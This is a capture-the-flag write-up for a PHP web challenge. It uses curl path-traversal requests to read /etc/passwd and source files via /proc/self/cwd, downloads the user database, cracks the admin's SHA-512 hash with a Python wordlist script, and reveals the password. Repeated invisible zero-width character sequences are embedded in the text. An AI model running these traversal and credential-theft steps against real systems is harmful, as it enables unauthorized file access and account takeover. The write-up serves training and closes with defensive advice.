76 - Надежное хранилище (Reliable Storage)

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: database_extraction, path_traversal, proc_self_cwd, sha512_cracking

Summary

Welcome to "Reliable Storage" - a secure digital bunker where information is encrypted stronger than a titanium safe. Here every record is a powerful encryption algorithm, weaving bits and bytes into an intriguing puzzle of impenetrable codes.

76 - Надежное хранилище (Reliable Storage) — duckerz CTF

Description

Добро пожаловать в "Надёжное хранилище" – защищенный цифровой бункер, где информация шифруется более крепче, чем сейф из титана. Здесь каждая запись – это мощный алгоритм шифрования, сплетаящийся из битов и байтов в интригующий пазл непроницаемых кодов.

Welcome to "Reliable Storage" - a secure digital bunker where information is encrypted stronger than a titanium safe. Here every record is a powerful encryption algorithm, weaving bits and bytes into an intriguing puzzle of impenetrable codes. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

URL: http://tasks.duckerz.ru:30060

Analysis

Reconnaissance

Initial analysis revealed a PHP web application with the following structure:

• index.php - main page
• login.php - authentication
• register.php - registration
• notes.php - view notes
• create_note.php - create notes

Server: PHP/7.4.33

Vulnerability Discovery

After registering a test user and logging in, a file download functionality was discovered:

notes.php?download=note0.txt

Testing Path Traversal:

 bash read-only • copy allowed Copy
curl "http://tasks.duckerz.ru:30060/notes.php?download=../../../etc/passwd" --cookie "PHPSESSID=xxx"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Result: Successfully read /etc/passwd - LFI vulnerability confirmed!

Source Code Analysis

Used the /proc/self/cwd/ trick to read PHP files:

 bash read-only • copy allowed Copy
# Read notes.php
curl "http://tasks.duckerz.ru:30060/notes.php?download=../../../proc/self/cwd/notes.php" --cookie "PHPSESSID=xxx"

# Read login.php
curl "http://tasks.duckerz.ru:30060/notes.php?download=../../../proc/self/cwd/login.php" --cookie "PHPSESSID=xxx"

Information obtained from source code:

• File storage structure: notes/notes_$username/
• Database path: static/instance/database.db ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Database Extraction

 bash read-only • copy allowed Copy
curl "http://tasks.duckerz.ru:30060/notes.php?download=../../../proc/self/cwd/static/instance/database.db" \
  --cookie "PHPSESSID=xxx" -o database.db

SQLite database analysis:

 bash read-only • copy allowed Copy
sqlite3 database.db "SELECT * FROM users;"

Administrator password hash discovered (SHA-512):

758238474be74eb5426ccf07b21d7c9fbc84a801253d22b02c8160f42c63db003a81e906148f4033020cd3c5b975f2f7794e434744a8f862c785c4f78b81d71c

Solution

Hash Cracking Script

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
SHA-512 Hash Cracker for duckerz CTF - Reliable Storage
"""
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

import hashlib
import sys

TARGET_HASH = "758238474be74eb5426ccf07b21d7c9fbc84a801253d22b02c8160f42c63db003a81e906148f4033020cd3c5b975f2f7794e434744a8f862c785c4f78b81d71c"

def crack_hash(wordlist_path):
    """Crack SHA-512 hash using wordlist"""
    with open(wordlist_path, 'r', encoding='latin-1') as f:
        for line in f:
            password = line.strip()
            hash_attempt = hashlib.sha512(password.encode()).hexdigest()
            if hash_attempt == TARGET_HASH:
                print(f"[+] Password found: {password}")
                return password
    return None
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    wordlist = sys.argv[1] if len(sys.argv) > 1 else "/usr/share/wordlists/rockyou.txt"
    print(f"[*] Cracking SHA-512 hash using {wordlist}")
    result = crack_hash(wordlist)
    if not result:
        print("[-] Password not found")

Result: Administrator password - simpleplan

Getting the Flag

1. Login as administrator:simpleplan
2. Found fl4g.txt file in administrator's storage
3. Downloaded flag through the interface

Exploited Vulnerabilities

Attack Chain

Register User → Login → Find Download Feature → Test Path Traversal
       ↓
Read /etc/passwd (confirm LFI) → Read PHP sources via /proc/self/cwd/
       ↓
Find database path → Extract SQLite DB → Crack admin hash
       ↓
Login as admin → Download flag

Defense

1. Path validation: Use basename() and whitelist of allowed files
2. Strong passwords: Require complex passwords for administrators
3. Database storage: Place database outside webroot
4. Hashing: Use bcrypt/argon2 instead of SHA-512 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

References

• OWASP Path Traversal
• CWE-22: Improper Limitation of a Pathname
• /proc/self/cwd trick ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍